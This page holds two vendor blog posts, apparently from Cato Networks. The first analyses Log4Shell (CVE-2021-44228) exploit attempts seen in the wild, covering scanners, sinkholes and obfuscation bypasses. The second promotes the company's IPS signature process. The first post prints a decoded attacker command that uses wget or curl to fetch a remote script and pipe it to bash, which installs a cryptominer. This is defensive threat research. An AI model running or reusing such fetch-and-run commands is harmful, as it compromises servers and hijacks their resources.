On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take...
Log4J – A Look into Threat Actors Exploitation Attempts On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10.
LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity – forcing the application to write just one simple string allows attackers to upload their own malicious code to the application. To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat.
Another reason this vulnerability is getting so much attention is the mass adoption of Log4j by many enterprises. Amazon, Steam, Twitter, Cisco, Tesla, and many others all make use of this library, which means different threat actors have a very wide range of targets from which to choose. As the old saying goes – not every system is vulnerable, not every vulnerability is exploitable and not every exploit is usable, but when all of these align
At Cato, we were able to push mitigation in no-time, as well as have it deploy across our network, requiring no action whatsoever from customers with IPS enabled. The deployment was announced in our Knowledge Base together with technical details for customers.
Moreover, we were able to set our detections based on traffic samples from the wild, thus minimizing the false positive rate from the very first signature deployment, and maximizing the protection span for different obfuscations and bypass techniques.
Here are a couple of interesting exploit attempts we saw in the wild. These attempts are a good representation of an attack’s lifecycle and adoption by various threat actors, once such a vulnerability goes public.
[boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the rise | Download eBook [/boxlink]
Exploit Trends and Anecdotes
We found exploit attempts using the normal attack payload:
We identified some interesting variations and trends:
Adopted by Scanners
Interestingly, we stumbled across scenarios of a single IP trying to send the malicious payload over a large variety of HTTP headers in a sequence of attempts:
Such behavior might be attributed to Qualys vulnerability scanner, which claimed to add a number of tests that attempt sending the Log4j vulnerability payloads across different HTTP headers. While it’s exciting to see the quick adoption of pentesting and scanning tools for this new vulnerability, one can’t help but wonder what would happen if these tools were used by malicious actors.
nspecting attack traffic allowed us to find sinkhole addresses used for checking vulnerable devices. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerability PoC is found to be successful.
A bunch of HTTP requests with headers such as the ones below indicate the use of a sinkhole:
We can tell that the sinkhole address matches the protocol and header on which the exploit attempt succeeds.
This header seen in the wild:
This is an example of using the burpcollaborator platform for sinkholing successful PoCs. In this case, the header used was an uncommon one, trying to bypass security products that might have overlooked it.
Among many sinkholes, we also noticed <string>.bingsearchlib.com, as mentioned here too.
Bypass techniques are described in a couple of different GitHub projects (, ). These bypass techniques mostly leverage syntactic flexibility to alter the payload to one that won’t trigger signatures that capture the traditional PoC example only. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps://
A funny one we found in the wild is:
In this request, the attacker attempted three different attack methods: the regular one (in green), as well as two obfuscated ones (in purple and orange).
Seems like they’ve assumed a target that would modify the request, replacing the malicious part of the payload with a sanitized version. However, they missed the fact that many modern security vendors would drop this request altogether, leaving them exposed to being signed and blocked by their “weakest link of obfuscation.”
Real Attacks – Cryptomining on the Back of Exploitation Victims
While many of the techniques described above were used by pentesting tools and scanners to show a security risk, we also found true malicious actors attempting to leverage CVE-2021-44228 to drop malicious code on vulnerable servers. The attacks look like this:
Base64-decoding the payload above reveals the attacker’s intentions:
(wget -O – http[:]//<REDACTED_IP>:8005/acc||curl -o – http[:]//<REDACTED_IP>:8005/acc)|/bin/bash
Downloading the file named acc leads to a bash code that downloads and runs XMrig cryptominer. Furthermore, before doing so it closes all existing instances of the miner and shuts them off if their CPU usage is too high to keep under the radar. Needless to say, the mined crypto coins make their way to the attacker’s wallet.
The SANS Honeypot Data API provides access to similar findings and variations of true attacks that target their honeypots.
The Apache Log4j vulnerability poses a great risk to enterprises that fail to mitigate it on time. As we described, the vulnerability was promptly used not only by legitimate scanners and pentesting tools, but by novice and advanced attackers, as well. Cato customers were well taken care of. We made sure the risk was promptly mitigated and notified our customers that their networks are safe. Read all about it in our blog post: Cato Networks Rapid Response to The Apache Log4J Remote Code Execution Vulnerability. So until the next time....
A recent high severity Apache server vulnerability kicked off a frenzy of activity as security teams raced to patch their web servers. The path traversal...
What Makes for a Great IPS: A Security Leader’s Perspective A recent high severity Apache server vulnerability kicked off a frenzy of activity as security teams raced to patch their web servers. The path traversal vulnerability that can be used to map and leak files was already known to be exploited in the wild. Companies were urged to deploy the patch as quickly as possible.
But Cato customers could rest easy. Like so many recent attacks and zero-day threats, Cato security engineers patched CVE-2021-41773 in under a week and, in this case, in just one day. What’s more the intrusion prevention system (IPS) patch generated zero false positives, which are all too common in an IPS. Here’s how we’re able to zero-day threats so quickly and effectively.
Every IPS Must Be Kept Up-To-Date
Let's step back for a moment. Every network needs the protection of an IPS. Network-based threats have become more widespread and an IPS is the right defensive mechanism to stop them.
But traditionally, there have been so much overhead associated with an IPS that many companies failed to extract sufficient value from their IPS investments or just avoided deploying them in the first place. The increased use of encrypted traffic, makes TLS/SSL inspection essential. However, inspecting encrypted traffic degrades IPS performance. IPS inspection is also location bound and often does not extend to cloud and mobile traffic.
Whenever a vulnerability notice is released, it’s a race of who acts first—the attackers or the IT organization. The IPS vendors may take days to issues a new signature. Even then the security team needs more time to first test the signature to see if it generates false positives before deploying it on live network.
[boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the Rise | Here's how we can help! [/boxlink]
Cato Has a Fine-Tuned Process to Respond Quickly to Vulnerabilities
The Cato SASE Cloud has an IPS-as-a-service that is fully integrated with our global network, bringing context-aware protection to users everywhere. Unlike on-premises IPS solutions, even users and resources outside of the office benefit from IPS protection.
Cato engineers are also fully responsible for the maintenance of this critical component of our security offerings. Our processes and architecture enable incredible short time to remediate, like patching the above-mentioned Apache vulnerability in just one day. Other example response times to noted vulnerabilities include:
VMWare VCenter RCE (CVE-2021-21972)
MS Exchange SSRF (CVE-2021-26855)
F5 Vulnerability (CVE-2021-22986)
PrintNightmare Spooler RCE Vulnerability (CVE-2021-1675)
VMware vCenter RCE (CVE-2021-22005)
In the case of the VMware vCenter RCE vulnerability, an exploit was released in the wild and threat actors were known to be using it. This made it all the more critical to get the IPS patched quickly.
Cato Delivers Security Value to Customers
Cato eliminates the time needed to get the change management approved, schedule a maintenance window, and find resources to update the IPS by harnessing a machine learning algorithm, our massive data lake, and security expertise.
The first step in the process is to automate collection of threat information. We use different sources for this information, creating a constant feed of threats for us to analyze. Among others, the main sources for threat information are:
The National Vulnerability Database (NVD) published by NIST
Social media, including tweets about CVEs that help us understand their importance
Microsoft’s Active Protection Plan (MAPP), a monthly report of vulnerabilities in this company’s products, along with mitigation guidelines
The next step is to apply smart filtering. Many CVEs and vulnerabilities might be out of Cato's IPS scope. This mainly includes threats that are locally exploited, or ones that won't generate any network traffic that passes through our points of presence (PoPs). Mainly based on the NVD classification, we’re able to tell in advance if they are out of scope, making sure that we don’t waste time on threats that are irrelevant to our secure access service edge (SASE) platform.
Once we know which vulnerabilities we need to research, we assess their priorities using a couple of techniques. We measure social media traction using a proprietary machine learning service. Next, we estimate the risk of potential exploitations and the likelihood of the vulnerable product being installed at our customers’ premises. This latter step is based on Internet research, traffic samples, and simple common sense.
On top of all the above steps, we run mechanisms to push-notify our team in case of a vulnerability hitting significant media traction on both mainstream cybersecurity media as well various hackers’ networks. We have found this to be a great indicator for the urgency of vulnerabilities.
Time is Important but Accuracy is Critical
Keeping an IPS up to date with timely threat information is important but accuracy of the signatures is even more so. Nobody wants to deal with multitudes of false positive alerts. Cato makes a concerted effort to reduce our false positive rate down to zero. Once a threat is analyzed and a signature is available, we run the following procedure:
We reproduce an exploit, as well as possible variations of it, in a development environment so that we can thoroughly test the threat signature.
We run a “what if” scenario on sample historical traffic from our data lake to understand what our signature should trigger once deployed to our PoPs. This is a very strong tool to save us the back-and-forth process of amending signatures that hit on legitimate traffic. Another benefit of this step is that we can test if an attack attempt has already happened. On-premises IPS vendors can’t do this last step.
We deploy the signature to production in silent mode and monitor the signature’s hits to make sure it’s free of false positives.
Once we are confident the signature is highly accurate, we move it into block mode.
All told, this process takes between a couple of hours and a couple of weeks, based on the threat's priority.
Cato Provides Other Advantages Too
Cato's solution shifts the heavy security processing burden from an appliance to the cloud, all while eliminating performance issues and false positives. It’s worth mentioning again that all of the work to investigate vulnerabilities, create custom signatures to mitigate them, and deploy them across the entire network is all on Cato. Customers do not need to do a thing other than keep up with our latest security updates on the Release Notes to realize the benefits of an up-to-date and highly accurate IPS.
To learn more about the features and benefits of Cato’s IPS service, read Cato Adds IPS as a Service with Context-Aware Protection to Cato SD-WAN.